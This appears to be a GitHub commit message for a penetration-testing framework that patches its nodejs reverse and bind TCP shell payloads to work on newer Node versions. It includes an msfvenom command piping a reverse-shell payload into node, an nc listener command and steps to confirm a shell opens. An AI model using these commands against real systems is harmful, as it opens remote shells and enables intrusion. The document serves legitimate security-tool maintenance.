Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
handle missing util.pump in nodejs shell payloads
Modern NodeJS (since 5.3.0) has removed util.pump in favor of stream.pipe. On current versions the nodejs tcp shell payloads error out: ``` $ node --version v7.10.0 $ msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node <snip> TypeError: util.pump is not a function at Socket.<anonymous> ([stdin]:1:405) at Object.onceWrapper (events.js:293:19) at emitNone (events.js:86:13) at Socket.emit (events.js:188:7) at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1080:10) ``` With this change, bind and reverse tcp should be tolerant of both new and older versions. *Reference* nodejs/node#2531 *Verification steps* 1. Set up a handler (either exploit/multi/handler or simple nc) ``` $ nc -l -v 7777 ``` 2. Use patched version with various versions of node: ``` msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node ``` 3. Confirm both old and new versions of node result in shell, not error.
- Loading branch information